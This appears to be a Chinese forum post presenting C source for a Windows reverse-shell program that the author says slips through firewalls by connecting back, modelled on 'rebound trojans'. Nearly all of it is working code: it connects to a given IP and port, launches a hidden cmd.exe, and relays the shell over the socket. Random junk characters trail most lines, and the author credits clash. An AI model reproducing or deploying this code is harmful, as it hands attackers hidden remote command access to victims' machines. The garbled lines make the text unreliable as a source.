这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /4$4h;_8
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/* ============================== k6"KB
Rebound port in Windows NT 1zftrX~v!X
By wind,2006/7 BI2; ex
===============================*/ >O7~h[FN
#include S[,8TErz
#include ; |L<:x/
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#pragma comment(lib,"wsock32.lib") Xf
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void OutputShell(); Bfr'Zdw
SOCKET sClient; ]XA4;7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \}_Yd8
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void main(int argc,char **argv) zf [`~g
{ %."@Q$lA
WSADATA stWsaData; pV(lhDNoQ
int nRet; !k&Q 5s:
SOCKADDR_IN stSaiClient,stSaiServer; Ad$n4Ze
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if(argc != 3) |o<8}Nja6
{ fNu'((J-
printf("Useage:\n\rRebound DestIP DestPort\n"); J*fBZ.NO
return; (08I
} a j\nrD1
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WSAStartup(MAKEWORD(2,2),&stWsaData); SC &~s$P;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sZ&G%o
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stSaiClient.sin_family = AF_INET; jZoNi
stSaiClient.sin_port = htons(0); o4b~4h{%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D]s]"QQ8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {yA$V0`N{
{ <M]h{BS=
printf("Bind Socket Failed!\n"); WQNE2Q
return; 1xE]6he4{T
} X^9d/}uTa
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stSaiServer.sin_family = AF_INET; 0c^>eq]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RP5+d
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CSPKP#,B0[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '_k+WH&
{ C[!MS5
printf("Connect Error!"); A5'NGt
return; 7__Q1>o
} )-`;1ca)s
OutputShell(); "1HRLci
} NvvUSyk\;s
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void OutputShell() PgRDKygE
{ B!\;/Vk
char szBuff[1024]; _`pD`7:aI^
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; 14"J d\M8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Jyqc2IH
STARTUPINFO stStartupInfo; 4M^G`WA}t9
char *szShell; !1G ."fo
PROCESS_INFORMATION stProcessInformation; ]TyisaT
unsigned long lBytesRead; )uqA(R>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h`H,a7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w#g#8o>'
stSecurityAttributes.lpSecurityDescriptor = 0; Yp:KI7
stSecurityAttributes.bInheritHandle = TRUE; T0]*{k(FR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u3o#{~E/#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fa<v0vb+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D2,z)O%VK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bHI<B)=`
stStartupInfo.wShowWindow = SW_HIDE; IEcf
stStartupInfo.hStdInput = hReadPipe; ,yTjU{<"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d`(@_czdF
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GetVersionEx(&stOsversionInfo); HWVtop/
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switch(stOsversionInfo.dwPlatformId) bl'z<S,
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{ YLVPAODY
case 1: +EAT:,
szShell = "command.com"; Q[d}J+l4{
break; 8zBWIi
default: ScSZGs 5&
szShell = "cmd.exe"; &wB\ ~Ie-
break; ykFJ%sw3X
} po}F6m8bX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YQS5P#
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send(sClient,szMsg,77,0); T t>8?
while(1) }E7:ihy
{ k}#;Uy=5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A'%1ZQ33O
if(lBytesRead) 2m~V{mUT!
{ {$1J=JbE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LE%7DW(
send(sClient,szBuff,lBytesRead,0); r
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} #"49fMi/
else UQ.7>Ug+8s
{ _A0mxq
lBytesRead=recv(sClient,szBuff,1024,0); 3bNIZ#`|MB
if(lBytesRead<=0) break; C-?!S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} 7jJbo]&
} -&e92g&n
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return; u@3y&b
}